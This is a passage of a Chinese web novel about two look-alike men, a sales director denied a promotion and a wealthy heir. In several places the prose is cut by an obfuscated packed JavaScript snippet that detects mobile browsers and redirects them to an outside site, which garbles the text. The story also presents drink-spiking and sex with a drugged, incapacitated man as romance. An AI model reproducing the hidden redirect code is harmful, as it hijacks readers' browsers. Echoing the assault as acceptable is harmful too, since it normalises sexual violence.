连拂雪沉默片刻,好半晌,才轻声道: “可是爸爸,我不喜欢.......” “没有喜不喜欢,只有能不能够。” 江韵书冷酷地打断了他,“既然是江家的孩子,自然要承担起家族的责任。三十岁之前,我已经给足了你想要的自由和生活,三十岁之后,你的人生就属于江家,就只能是江家的连拂雪。” 连拂雪:“..........” 他张了张嘴,还想在说些什么,电话那头忽而又传来江韵书压抑的咳嗽声,连拂雪沉默地听了一会儿,好久,才叹了一口气,道: “我知道了,爸爸,你别生气,生气对身体不好。” 他说:“我会听话,去腾云的。” “.......嗯。”江韵书的咳嗽过了半分钟才止住,再开口时,嗓子已经哑了: “总部的任命书下周会到,你拿到之后就上岗吧,别任性了。” “.........”连拂雪仰头看着落地窗外的灯红酒绿,片刻后,缓缓闭上了眼睛,轻声道: “知道了,爸爸。” 他顿了顿,似乎又是想到了什么,咽了咽口水,小心措辞道: “对了,爸爸,我想问你一件事。” “说。”电话那头传来江韵书喝水的声音。 “我想问.........我在这个世界上,有没有什么兄弟姐妹之类的。” 连拂雪很小心,尽量避开江韵书的雷区: “你说,有没有可能,妈妈她一共生了两个孩子........” 话音刚落,电话那头就传来了杯子摔裂的声音,如同刀割耳膜一般刺耳,连拂雪听到后心里暗道糟糕,赶紧闭了嘴,还未道歉,就听见江韵书阴沉沉开了口: “没有兄弟姐妹,也没有什么妈妈,你妈也早就死了。我怎么对你说的?别再提你妈,你是听不懂我的话吗?” “........对不起爸爸,是我说错话了。” 每一次提到自己的妈妈,江韵书就和吃了枪药一样爆炸,连拂雪从江韵书口中确认自己没有兄弟姐妹之后,赶紧安抚江韵书,道: “爸爸,你身体不好,记得早点睡,晚安。” 言罢,他不等江韵书开口,就赶紧挂了电话,心有余悸地讲手机贴在胸口处,感受到怦怦跳动的心脏逐渐变的平稳,才慢慢爬起来,去洗澡睡觉了。 公司的任命书还没下来,接下来的一周连拂雪天天吃了睡睡了吃,实在闲的没事干就出去健健身,购购物,很是滋润,而在另一边,连江雪则为了公司的业务跑断了腿,一周内去了好几次名城集团,从研讨会开始,就一直和andy对接,费了九牛二虎之力,才终于将合同谈了下来,确定了签合同的日期。 合同谈下来的那天,连江雪很是高兴,难得地喝了酒,几乎喝的烂醉,是被人从公司抬回家的。 连江雪喝的站不住,但还是坚持自己坐电梯上了楼,拖着水泥似的脚步,等一离开同事们的视线,就像是骨头融化了一般,瘫在门口,倒头就睡。 连云里一直在家里等他回家,久等他不归,最终实在是坐不住,还是拿了外套,匆匆披上,打开门,想直接去连江雪的公司找他。 没想到他刚打开门,一个坐在地上的人就倒了下来,把连云里吓了一大跳。 他后退几步,定睛一看,借着灯光,见是自己的儿子连江雪,有些哭笑不得。 “喝这么多啊。”连云里伸出手,艰难地把连江雪从外面拖进来,丢到沙发上。 他垂下头,摸了摸连江雪因为喝多了酒微烫的脸庞,低声道: “今天怎么喝这么多?” 似乎是听到了连云里的声音,连江雪微微睁大眼,看着连云里。 即便已经三十岁了,但在爸爸面前,连江雪却始终像是个孩子一般,丢掉了在下属面前的强势和面对顾客的游刃有余,傻傻笑了起来, “爸爸。” 他抬起手,任由连云里给他脱去西装外套,低声道: “等我当上了副总,赚到了大钱,我就带你去京城看病,再给你买个大房子。” 连云里给他脱外套的动作一顿,随即道: “不需要你赚什么大钱。” 他说:“只要你健康平安,爸爸就满足了。” 连江雪喝多了酒,眼皮很沉,还未等连江雪继续往下说,他就闭上眼睛,沉沉睡了过去。 连云里给他脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过了半小时,连云里脱力的手脚才恢复力气,他慢慢地从地上站起来,放下裤脚,遮住青紫肿胀的膝盖,一瘸一拐地往外走。 他打开浴室的门,见连江雪正仰着头,靠在墙角睡着。 连云里见状,忍不住走过去,蹲下身,盯着连江雪看了一会儿,才慢慢伸出手,摸了摸连江雪的脸颊,轻声叹道: “越长大,越像他。” 连江雪没听见连云里的话,呼吸声均匀。 连云里艰难地将他背起来,放到沙发上,正准备再去端一盆水来,给连江雪擦手擦脚,忽然见连江雪翻了一个身,即便醉酒,口中仍然喃喃自语。 连云里动作一顿,好奇他想要说什么,便忍不住凑过去,耳朵靠在连江雪的脸颊边,听见连江雪缓声吐出了带着酒意的破碎字句: “签合同........赚钱......副总.......带爸爸去京城看病......” “........”在听清连江雪说什么之后,连云里微微一怔。 他垂下头,看着连江雪因为喝酒而微红的脸颊,想到这么多年来,为了赚钱让自己过上更好的生活,连江雪一心都扑在事业上,到处出差、应酬,一直到现在三十岁了,都无暇顾及自己的终身大事,至今还是单身。 “是爸爸拖累了你。” 连云里轻轻叹了一口气,指尖拂过连江雪额头落下的发丝,在一片令人不安的寂静中,轻声开了口,道: “如果不是我,你本该有更好的生活的。” 5. 第 5 章 连江雪一觉睡到第二天早上才醒。 醒来的时候,连云里已经在做早饭了,连江雪仰躺在沙发上,身上还盖着薄薄的一层被子,听着连云里煎鸡蛋的声音,缓了一会儿,直到意识回笼,才拖着宿醉的身体,慢慢坐起来。 他按了按疼痛的头,昨夜喝醉断片前的记忆纷至沓来。 .......昨天签下大单子,高兴过头了,以至于向来保持克制清醒的他昨天难得地贪杯喝多,还要麻烦同事送他回来。 连江雪起身,去浴室洗了个澡,换掉身上带着酒味的脏衣服,换上一身干净的衬衫,走出房间。 此时连云里已经把早餐端到了餐桌上,抬头看见连江雪,便笑道: “快来吃早饭吧。” 连江雪抬手看了一下时间,忙道: “爸爸,我不吃了,我要迟到了。” “........可是我做了好多。”听见连江雪说他不吃了,连云里难免有些失望,道: “锅里还煮着海鲜粥呢。” 连江雪闻言,只能拿起筷子,胡乱将碟子里的煎蛋吃完,又顺便喝完了温牛奶,才抽出纸巾擦了擦嘴,对连云里摆了摆手,往门外走去,道: “我不吃了爸,你吃吧。” 连云里:“.......” 他端着刚蒸好的包子,愣在原地,盯着连江雪的背影看了一会儿,直到门被连江雪从外面彻底关上,他才垂下头,纤长的眼睫起伏,敛去了瞳仁里的失落。 连江雪坐着电梯,一路到了停车场,一边看着时间一边启动车子,将车开出了停车场。 他的车被撞了,这几天工作忙,他没有时间去检修,好在只是车门被撞坏,不影响发动机和轮胎,还能开,连江雪便一直没有管。 但是一直开一辆被撞坏的比亚迪是不行的,连江雪打算今天晚上下班之后,就抽空去修一修。 昨晚和名城的合作单子的提成很多,只要合同一签,连江雪近期都不会缺钱了。 一想到自己马上就能升职加薪,连江雪踏入公司的那一刻,感觉空气都清新了不少,甚至还主动和前台的小女生打招呼,搞得人家小女生受宠若惊,也不知道连总监最近是遇到什么好事了。 “好事?连总监快要升职了呗。” 在公司呆了几年的老同事听见前台小姐姐的议论,又是嫉妒又是酸道: “大老板都答应他了,签下和名城的单子,就向总部打申请,升他为副总,人逢喜事精神爽,他能不高兴吗。” “连总监要升职了?”新来的同事羡慕道: “不过他工作能力强,给公司签下了那么多单子,升副总是应该的。” “谁知道他的单子是怎么来的。” 也不知道是谁说了一句: “我上次应酬的时候,看到有一个公司的老总一直摸他的肩膀和大腿,他都面不改色的,面上能做到这样,估计私下里.........” 议论声逐渐小了下去,像是在忌惮着什么一般,没有往下说。 这些半真半假的话传到连江雪的耳朵里,也被他当做耳旁风,并未多想。 销售和服务业差不多,既然想挣钱,那多半也逃不了职场性\骚扰,只要他自己没做突破底线的事情就好;何况他长的确实好看,那些老总也愿意多听他说几句话,连江雪不认为利用自己的优势去达成目的有什么不好。 该狠的时候要狠,该软的时候要软,不然要怎么赚钱? 连江雪坐在办公室里,手机叮了一下,他下意识拿起手机一看,发现自己的工资到账了。 工资一到账,银行就自动从他账户上划走了房贷。 连江雪稍微肉痛了一下,紧接着就转了五千块钱给连云里,做平时日常的开销,接下来,就全身心投入到工作当中去。 中午的时候,连江雪收到会议通知,说下午三点要在会议室开一场简短的会议。 连江雪思忖了一下,约莫和自己的事情有关系,想到这里,他微微舒了舒眉头,回了一个收到,放下手机,将手头的工作收了尾,就起身去食堂吃饭了。 吃饭的时候,连江雪在黄焖鸡的窗口偶遇到陈明贺。 虽然两个人在工作上是死对头,但同事之间,最好不要撕破脸,连江雪便下意识对他点了点头。 陈明贺上下扫了连江雪一眼,似笑非笑道: “连总监,恭喜高升啊。” “合同还没签,现在恭喜为时尚早。” 虽然已经开过研讨会,合同也在拟定阶段,合作已经是板上钉钉的事情,但连江雪生性谨慎,在外人面前,还是给自己留了一点余地: “等合同签了,再恭喜我不迟。” 陈明贺没立刻说话,只是保持着那样似笑非笑的神情,看着连江雪,也不吭声,搞得连江雪心里毛毛的,但又不知道陈明贺葫芦里究竟再卖什么药,只能保持着礼貌得体的微笑,点头示意后就离开了。 和陈明贺见过面后,连江雪的心里就有些不舒服起来,敏感地意识到陈明贺今天那似笑非笑的神情应该是对着自己的,或者是提前知道了公司的什么内幕和变动,而且和自己有关,他才会对自己露出那样意味深长的笑。 可.........究竟是什么事情,会让陈明贺对自己笑成这样? 该不会........是他升职的事情,有什么变故吧? 想到这里,连江雪的心中一紧,连情绪也乱了起来,连带着午睡都没有睡好,翻来覆去,无法合眼。 他在腾云也干了八年了,大学时期就从实习生一路干到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118168|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 销售总监的位置,眼看着腾云做大做强,他对腾云还是有感情的,想要留在这里,也想要更进一步。 所以这么多年来他都将心思全部放在工作上,拼命工作,甚至连自己的终生大事也耽误了。 他今年已经三十岁了,俗话说三十而立,如果这一次不能升职成功....... 连江雪闭了闭眼睛,不敢想下去,只能在心里祈祷最好不要出什么变故。 抱着这样的心思,下午两点半,会议准时召开。 会上,大老板例行布置了几项工作,脸上的神情很是平静,一点都没有提到连江雪,和连江雪的几次眼神沟通交流,都没有什么异样,还着重夸赞了销售部这个月带来的业绩贡献。 听着大老板的话,连江雪的心慢慢放下。 一切正常。 .......也许是自己多心了吧。 越到关键时候,连江雪的精神越紧绷,他在心里暗想自己精神过敏,在会议马上要结束的时候,连江雪靠在椅背上,扯了扯领结,缓缓呼出一口气。 他在笔记本上胡乱涂抹了几笔,将下个月的工作内容在心里过了一遍,正准备等大老板离开,他也退场,忽然看见大老板阖上笔帽,双手放在胸前的桌子上,神情认真道: “今天的会议,还有最后一项议程,就是关于我们公司的人事变动的。” 大老板避开连江雪投过来的视线,转而看向桌子尽头的空位,低声道: “大约一周前,我接到总部的通知,总部那边说,会派一个人过来,即日起,正式接手副总的位置。” “..........”会场登时鸦雀无声。 所有人都被大老板这句话给惊在了当场,反应快的人,已经下意识转过头去,看向原本的“副总候选人”—— 连江雪。 连江雪显然也没有想到总部会空降一名副总过来,直接把他从迈上副总这个位置的台阶上踢下去。 他面无表情地坐在椅子上,四处传来的密密麻麻的视线好似将他盯穿在了座位上,令他动弹不得。 他甚至能察觉到陈明贺那意味深长的视线变的更加清晰,里面带着一些嘲讽、可怜,还有感同身受的无奈。 大老板明明答应过他的,等他一签下这个单子,就和总部打报告....... 不对,一周前?! 难不成大老板在一周前,就得知了总部会空降副总的事情,却一直没有告诉他,而是选择了隐瞒这个消息,继续看着他为了坐上副总的位置而为腾云奔波卖命?! 连江雪藏在桌子上的拳头用力攥紧,豁然抬起头来,眼睛死死盯着大老板,本想质问些什么,但和大老板视线相接的那一瞬间,却骤然看清里面潜藏的冷漠和……… 不在意。 6. 第 6 章 连江雪坐在会议室的椅子上,直到人三三两两地离去,都没能缓过神来。 希望破灭的滋味并不好受,何况这还是他期待了很久的升职机会,就这样被总部空降的关系户亲手碾碎,换做是谁也得傻眼。 等到人差不多都走光了,室内只剩下来连江雪一个人,他才伸出手,按了按眉心。 心里不太舒服,想发疯,但工作还没做完,同事也都是无辜的,没有人有这个义务去接受他的怒火和不甘,连江雪用力攥紧拳头,从椅子上站了起来。 起身时他还踉跄了一下,差点把身后的椅子带到,脚尖磕到铁制的椅子腿,痛的大腿的每一根神经都在颤抖战栗。 连江雪缓了一会儿,才站稳,把椅子回归原位,才慢慢走出会议室。 总部会新来一个人空降副总位置的消息很快就在公司里传开了,作为众所皆知的副总候选人,连江雪走到哪里都能听到众人的窃窃私语,还得被迫接受一些不怀好意的人幸灾乐祸的神情。 他将办公室门关上,拉下百叶窗,头抵在墙上,深呼吸一口气,随即坐回了办公桌的椅子前,继续办公。 等到手头上的活干完之后,连江雪起了身,去了大老板的办公室。 大老板似乎有事,一下午都不得空见他,连江雪去了好几次都碰了壁,最后他直接在大老板的办公室硬等了几个小时,才终于等到了大老板。 大老板推门进来,看见连江雪坐在沙发上等他,还未等连江雪说些什么,他就摆了摆手,一边解开袖扣,一边往里走,道: “江雪,我知道你想说什么,但这是总部的安排,我也没有办法。” 连江雪站在原地,用力握紧拳头,好半晌,才缓缓松开,深吸一口气后,方道: “我知道。” 他说:“可是您明明一周之前就知道了总部会派人来的事情,为什么不告诉我?为什么还要许下承诺?” “总部的通知是在我许诺之后下来的,我想着不要影响你的斗志,就没有告诉你。” 大老板在老板椅上坐了下来,双腿交叠放在桌子上,是一副很放松的神态,微微仰起头靠在椅背上,避开了和连江雪的眼神直视: “要不这样,我给你涨薪百分之十,算作补偿,如何?” ..........百分之十? 连江雪都快被气笑了。 他为公司奉献了八年的青春,没当上副总也就算了,还被耍了一顿,被全公司的人看笑话,竟然只能涨百分之十的工资? 他站在原地,目光沉沉地看着大老板,没有说话。 气氛一时间安静下来, 大老板见连江雪不吭声,顿了顿,正想继续说话,忽然电话铃声响了起来。 他本来想挂断,瞄了一眼来电人提示,还是接了起来,语气相较于面对连江雪,明显和颜悦色了不少: “喂,何总........是,我们公司是研究了一个新的芯片,您感兴趣吗?好的.........” 挂完电话之后,大老板转过头,看向连江雪,道: “晚上有一个酒会,何总点名要你去陪,到时候你和市场部的陈明贺一起去吧。” 连江雪见他对刚才的话题避而不谈,气的反而冷笑出声: “老板,你.........” 他想说你不觉得你欠我一个解释吗,但看着大老板满不在乎的神情,似乎对他毫无歉意,眼睛里只有对自身利益的渴望,想说的话也被堵在了嗓子眼里,说不出来。 半晌,他只能说了一句“抱歉,我爸身体不好,我晚上要回家陪老人”作为回绝,言罢,就面无表情地离开了。 他心里失落又烦躁,人前又只能若无其事,装的辛苦,下了班之后本想直接回家,市场部的陈明贺却走到他办公室前,敲了敲门: “连总。” 他看着拿起车钥匙准备离开的连江雪,道: “boss说了,晚上让你和我一起参加酒会。” “我没空。”连江雪说: “我爸爸身体不好,我想回家陪他。” “酒会十点之前可以结束。”陈明贺道: “老板说了,何总是我们腾云最信任的合作伙伴,一定要把他陪好了。” 何新非的公司是做人工智能方向的,和腾云的合作向来紧密,算是腾云的大客户,而何新非最喜欢连江雪,每一次公司的酒会,都会邀请连江雪。 连江雪很想甩手就走,但又怕同事陈明贺面对老板不好交代,半晌,还是选择忍下了这口气,只能选择了同行。 去参加酒会的路上,连江雪给连云里发了一条消息,让连云里不要等他一起吃饭了。 连云里回了一个“好”,虽然他没说什么,但连江雪知道,爸爸的心里一定是很失落的。 人上了年纪,身体多少都不方便,需要儿女照顾,而连云里很早就和连江雪的妈妈分开了,一个人独身至今,加上身体不好没法出去工作,就更依赖连江雪这个儿子。 连江雪隔着屏幕都能想象到连云里此刻一个人隐没在阴影里、面对餐桌孤零零的背影,半晌,默默叹了一口气,收起了手机。 车在皇家冠日酒店停下,陈明贺先去停车,连江雪被酒店的工作人员指引上二十五楼。 在连江雪走进酒店的半小时之后,连拂雪的车也开了进来,停进了停车场。 “我马上就要到了,你们在房间里等我。”连拂雪听着同学的声音,指尖漫不经心地轻点着方向盘,往酒店里看了一眼: “房间号码发我。” “快点来啊连少,今天的货色包你满意。”林铮的笑声从电话里传来,带着电流传进连拂雪的耳朵里, “保证让连少玩的开开心心的,忘了马上就要上班的烦恼。” “滚吧你。”连拂雪骂了一句,踏出车门,反手关上了车门—— “叮!” 电梯门打开,二十五的龙悦餐厅已经被包场了,当做酒会会场,连江雪踏出电梯,看着璀璨的水晶吊灯底下往来谈笑风生的商业名流们,莫名有些晕人。 他深吸一口气,换上平时得体的笑意,缓步走向酒会现场。 何新非在他踏出电梯的那一刻就注意到了他,他放下手中的酒杯走了过去,在连江雪伸出手想要和他握手的时候,何新非选择了伸出手抱住他: “江雪,你来了。” 宽厚的手掌在连江雪的后腰不着痕迹地摸了一把,连江雪一阵恶寒,用了点力气,才把何新非推开。 何新非今年四十多岁,有妻有子,孩子都上初中了,但每次看到连江雪的时候,都像是狼看到了肉似的,紧盯着连江雪不放,连江雪看在他是公司的合作伙伴的份上,始终保持着体面和礼貌: “何总。” “来,我带你认识我的几个朋友。”何新非是真的喜欢连江雪,把自己的朋友和资源都介绍给了连江雪,还和连江雪说,他的这些朋友也准备合伙成立一家新的公司,到时候如果有需要,一定和腾云合作。 连江雪和他们交换了联系方式,也被劝着喝了几杯酒。 什么东西都没吃,就被灌了几杯酒,连江雪胃不舒服,只能找个借口去了餐台,准备吃点自助茶点。 岂料,他刚准备去拿餐夹,不知道哪里就伸过来一只手,和他的手指碰在了一起。 连江雪反射性地收回手,下意识抬起头,看向手臂的主人。 入目是一张漂亮的有些雌雄莫辨的长发美人,他头发是栗色的,眼睛是净透的琥珀色,在水晶灯下熠熠生辉,荷色的唇因为开心而抿起,微微勾起,吐出如同泉水击玉一般: “真的是你!” 回国的这几天里,阮寄情恶补了母语中文,在面对连江雪的时候,已经能和人正常交流了: “我刚刚看着你的背影,就很像你,没想到真的是你!” 连江雪想了一会儿才想起来面前这人是阮总家的小公子,于是伸出手,和阮寄情握手: “好巧啊。” 他说:“你怎么会在这里?” “我和哥哥来的。” 阮寄情伸出手,指了指站在不远处,身材纤瘦挺拔的人: “我哥受邀来参加酒会,papa让他带上我一起来。” 连江雪抬起头,看向不远处站在水晶吊灯下、冷静自持、端着酒杯喝尽后与一群男人谈笑风生的美人,半晌道: “你们长的倒不是很像。” “其实,他是爸爸的前妻生的。”阮寄情挠了挠头,坦率道: “玉阿姨走之后,爸爸才和妈妈生了我,我和哥哥差了三岁。” “..........” 连江雪没想到还有这么一回事儿,有些惊讶地看着诚实的阮寄情,心里思忖了一下,正飞速思考着要怎么搭话,阮寄情就已经伸出手,拉住了他,带着他走向阮寄水, “哥哥!” 阮寄水闻言转过头来,略带凉薄的眸子扫了一眼连江雪,连江雪很轻易地就能捕捉到阮寄水面对阮寄情时的烦躁和不耐,但这些情绪很快就被一层似覆霜雪的清透眸子尽数收敛,换做淡淡的一句: “嗯,怎么了?” “这是我回国认识的第一个朋友,”阮寄情兴致勃勃地道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他反射性地站住脚,抬起头,见一个漂亮清冷的大美人正站在洗手间门口,眼神一错不错地看着他。 “不好意思。”连拂雪被大美人的容貌晃了一下,才反应过来,说了声抱歉: “刚刚没看到你。” “没事。”阮寄水看着“连江雪”,看了一眼会场: “要不我们一起过去吧。” “?”听着阮寄水熟稔的语气,连拂雪有些懵: “我认识你吗?” “?”阮寄水轻轻挑了挑眼尾,眼波流转: “刚刚不是才和你介绍过我?” 连拂雪想了想,想了了又想,片刻后恍然大悟。 难不成这个大美人就是林铮他们刚才在电话里介绍的“好货色”? 长的确实很正啊,猜到他第一次来会迷路,还知道下来接他。 想到这里,连拂雪唇角勾了勾,伸出手,勾住了阮寄水的肩膀,直接将阮寄水拉进自己的怀里,垂下头在阮寄水如同春桃一般柔软白皙的脸颊上亲了一口,大大咧咧道: “走吧,带老子去2501。” 阮寄水没料到“连江雪”会忽然亲自己,登时错愕地瞪大眼睛,站在原地一时间话都说不出来,血气或者怒意上头,眼睛都气红了,伸出手就给了“连江雪”一耳光,却被连拂雪眼疾手快地抓住手腕,找到穴位,用力捏了一下。 痛意从手指蔓延至手腕,也不知道连拂雪是怎么做得到,阮寄情整个手臂都快被捏麻了,被迫被连拂雪带着往电梯口走: “还有脾气了。” 连拂雪脸上的笑意淡了下来,坚实的手臂圈着阮寄水的肩膀,用力往自己的怀里一按,掌心随即抓着阮寄水下巴,用力靠近自己,低下头在阮寄水发红水润的软唇上用力亲了一下,随即舌头熟练地撬开贝齿,咬着阮寄水的唇含含糊糊道: “但看在你长得漂亮的份上,老子就不计较了。” “........”阮寄水的初吻在这个草率的环境下莫名其妙地没了,气的浑身都发抖,欲跑又被连拂雪死死抓着不能放,张嘴想要叫人,又感受到连拂雪修长的手指在他的腰上摸了一圈,将他的便宜都占尽,刹那间眼睛里的霜雪都碎裂了,只剩震惊的抖动。 他看着男人英挺俊秀的眉眼,片刻后恶狠狠地咬了一口连拂雪伸进来的舌头,在连拂雪吃痛松开他的时候,一把推开了连拂雪,对他怒目而视,喘息声在狭小的电梯间内,令暧昧持续升温: “你......你是不是疯了?!” 7. 第 7 章 连拂雪不喜欢别人对他顶嘴,何况还是一个他向来不会放在心上的小鸭子。 要是换一个长相不那么出众的,敢这么对他拿乔,早就被连拂雪一脚踢出电梯了,但美人在连拂雪这里总是有特权的,他眸色微微沉了下来,但脸上的笑意却没有落下去,依旧保持着那副漫不经心的少爷公子哥模样,眼睛紧紧盯着阮寄水,没有吭声。 手机震动两下,是林铮的催促信息,这回他终于把准确的地址告诉了连拂雪,连拂雪拿起手机瞄了一眼,顾不上回阮寄水的话,顺手就按下了按钮。 电梯是密闭的,朝着上方一路疾升,根本不给阮寄水反应的空间,就已经到了总统套房的楼层。 阮寄水想要按回楼下的电梯按钮,但下一秒,他的手腕就一重,整个人踉跄几步,径直被连拂雪拉出了电梯。 总统套房的楼层很高,两个人的脚步他在柔软的地毯上,将所有的声音都吸了进去,宽敞暗色的走廊里举目无人,饶是阮寄水自恃身份,此刻也不由得紧张起来,不顾自己名城集团未来继承人的身份,用力甩了一下连拂雪的手,恼怒道: “连.......” “连少,你怎么来的这么慢?” 阮寄水话还未完全落下,总统套房的门就被打开,一个容貌英俊的男人站在门口,头弹了出来,身上穿着蓝色的花衬衫,手里端着一杯威士忌,一见到连拂雪,便弯起眼睛正含笑看着他: “主角不在场,大家玩儿也玩的没意思。” “你定的这个什么破酒店,害我找半天。” 震耳欲聋的音乐声将阮寄水愤怒的声音压了下去,连拂雪圈着他的肩膀,带着他往里走,林铮很有眼力见儿地把门锁上了,一边锁一边看着连拂雪身边的阮寄水道: “连少,不介绍一下这位?” “你装什么装。” 连拂雪斜他一眼,接过不知道谁递过来的酒杯,饮下了一口,顺手将杯子放在桌面上,一屁股坐在沙发上。 他语气有些冲,很明显心情不好,大家也都看得出来。 毕竟连拂雪在高中的时候就以吃喝玩乐的公子哥做派驰名于京城国际中学,后来上了大学之后更是玩的疯,除了黄赌毒不沾之外,其他什么都玩,在京城纨绔子弟里,算是排第一的。 原本以为就能这样一直逍遥下去,没想到三十岁生日一过,就被江韵书从国外抓回来,强令要继承家业。 继承家业也就算了,还被“发配”容港这家分公司当副总,换谁心情都不好。 “来,连少,” 身边有人殷勤地围上来,跪在地上,抬手拿起一根烟递给了连拂雪,连拂雪张嘴咬住,左手边的人就擦亮打火机,点燃了连拂雪口中的烟。 阮寄水不喜欢闻烟味,连拂雪刚吐出第一口烟,他就皱紧了眉头,站起身想要走,却被连拂雪的手臂圈住腰,死死地钉在了沙发上。 连拂雪一边吞云吐雾,一边垂头看着阮寄水的腰,心想腰真细啊,竟然一只手就能圈的紧紧的。 他这么想着,指尖撩开阮寄水的衬衫下摆,粗糙的指腹在那光滑细腻的腰上摸了一把,摸得阮寄水像是个炸毛的猫一样,差点跳起来: “你干什么!” “干这行的就别装贞洁烈妇了。”连拂雪舔了舔犬齿,拿起桌上的高浓度威士忌,喝了一大口,随即掌心扣着阮寄水的后脑勺,嘴对嘴喂了上去。 阮寄水躲闪不及,被强行喂了一大口酒,挣扎间威士忌的酒水泼了他半身,将他被衬衫遮的严严实实的玲珑锁骨贴的分明。 嘴对嘴喂酒阮寄水来说已经是极大的刺激,但对这些少爷小姐来说却只是下酒菜,没过多久,就有人叫了侍应生进来陪玩,劲爆刺激的音乐和高浓度的酒精作用下,阮寄水很快就站不住了。 他摇摇晃晃地站起来,想要逃离这里,却因为头晕而摔倒在地,被连拂雪捞进怀里。 “酒量这么差。” 连拂雪圈着阮寄水的肩膀,和他咬耳朵: “干你这行的,这么纯可不行啊。” 一旁的林铮见连拂雪一晚上都没有怎么玩,光顾着陪他带来的那个小情人了,但那小情人似乎不怎么懂眼色,眼珠一转,便计上心来。 他让人附耳过来,没多久,就有侍应生敲门,端了精致的酒水上来。 酒托上的杯子造型各异,里面的酒红的白的黄的,也不知道究竟哪一杯加了料,阮寄水被半哄半骗着灌了几杯下去以后,很快瞳仁就涣散了。 他喝醉以后意外的乖,靠在连拂雪的肩头,不吵也不闹,连拂雪捏着他的下巴低下头来亲他,他也不反抗,任由连拂雪抱着他深吻,瞪大眼睛,眨也不眨。 冰雪美人喝醉后,就融化成了可供揉圆搓扁的乖巧美人。 他不再反抗,连拂雪便以为他愿意,今天原本只是想让他陪着,没想做点更深入的,但阮寄水实在太漂亮了,完完全全就在连拂雪的审美上,连拂雪压着他亲了一会儿,就已经压不住火气了。 他把喝懵的阮寄水从沙发上打横抱了起来。 林铮见状,便将房卡顺手放进连拂雪的口袋里。 连拂雪看了他一眼,林铮就很上道道: “隔壁。” 连拂雪意味不明的笑了一下,直接抱着阮寄水走了。 房卡贴在门上,只听滴的一声,房间门被打开,连拂雪抱着阮寄水,顺脚关上门,房卡插进去,连灯都来不及打开,顺手在墙上一拍,随机打开了床头灯,就将阮寄水放在了床上。 阮寄水倒也真的对得起他这个名字,身体软的不行,轻飘飘的像是一片叶子,被连拂雪放在床上的时候,发带被顺手扯开,一头青丝散下来,浓密的青丝显地他的脸愈发小,眼神懵懂。 连拂雪脱了上衣,身体覆盖上来,垂头看着阮寄水,道: “好乖。” 他的情话张嘴就来:“宝宝,我可以吗?” 阮寄水醉的脑子都快成一团浆糊了,仰头看着连拂雪,呆呆的不说话,直到连拂雪让他圈住自己的脖颈,他才伸出手,乖乖照做。 “宝宝,不愿意就喊停。”连拂雪亲了亲阮寄水,闻着他发间的香味,将脸埋进阮寄水的脖颈: “我可不想对美人动粗。” 阮寄水被全然环抱住,听见那一声声的宝宝,好似在母亲离去后再次尝到被人珍视的滋味,即便那只是江拂雪随手复制粘贴的亲吻和拥抱,他也在恍然间,没有舍得拒绝。 “腿抬高,对。” 没舍得推开,身上的男人见状,便愈发得寸进尺,甜言蜜语一股脑地砸下来,耳鬓厮磨是狂风暴雨来临时的前戏,温水煮青蛙地让阮寄水觉得舒服,直到两个人都坦诚相对时,剧烈的疼痛才像是一把图穷而匕现的凶悍猛兽,径直闯入阮寄水的身体里,试图将他劈开成两半。 在母亲去世之后,一向不将软弱示在人前的阮寄水咬紧牙关,直到嘴巴被咬破,才难以遏制地哭泣起来。 “别哭........”连拂雪有点动不了,无奈地低下头来,垂头亲了亲阮寄水的额头,道: “宝宝,乖......” 阮寄水扬起头,整个人像是一张绷紧到极致的的弓,双手胡乱地在身边的床头柜上抓了一把,将桌面上的纸巾盒一把推了下去—— “砰——” 连江雪费了九牛二虎之力,才将何新非丢到床上。 他看着醉的如同死猪一般的何新非,眼底闪过一丝厌恶,转头就要走。 但他腿还未迈出去,很快,手腕就被人拉住。 他回头一看,是何新非抓住了他的手腕。 何新非不仅抓住了他的手腕,甚至还胆大包天地抱住了连江雪的腰,用滚烫的脸颊去贴连江雪的皮带: “江雪........” 他喃喃道:“我不是同性恋,但是我真的喜欢你.......我第一眼看到你就喜欢你.......” 被一个有妻有子的已婚男人表白,连江雪没有一点开心,反而觉得一阵恶寒。 他用力甩开何新非,但何新非却像是狗皮膏药一样黏上来,即便从床上摔在地上,还坚持不懈地去扯连江雪的皮带。 “江雪,我真的喜欢你,你和我试一次吧,我什么都给你.......” 连江雪鸡皮疙瘩都要起来了。 他忍住了想要爆粗口的欲望,一把把何新非推到在地上,抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118170|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手恶狠狠地给了何新非一拳: “你有毛病吧!” 何新非挨了他一拳,竟然也不生气,反而痴痴看着连江雪,低声道: “你打我打的好用力.........” “.........” 这里面的性\暗\示让连江雪快恶心的不行,直接松开何新非,捂着唇,忍住想要呕吐的欲望,踉跄着朝门外走去。 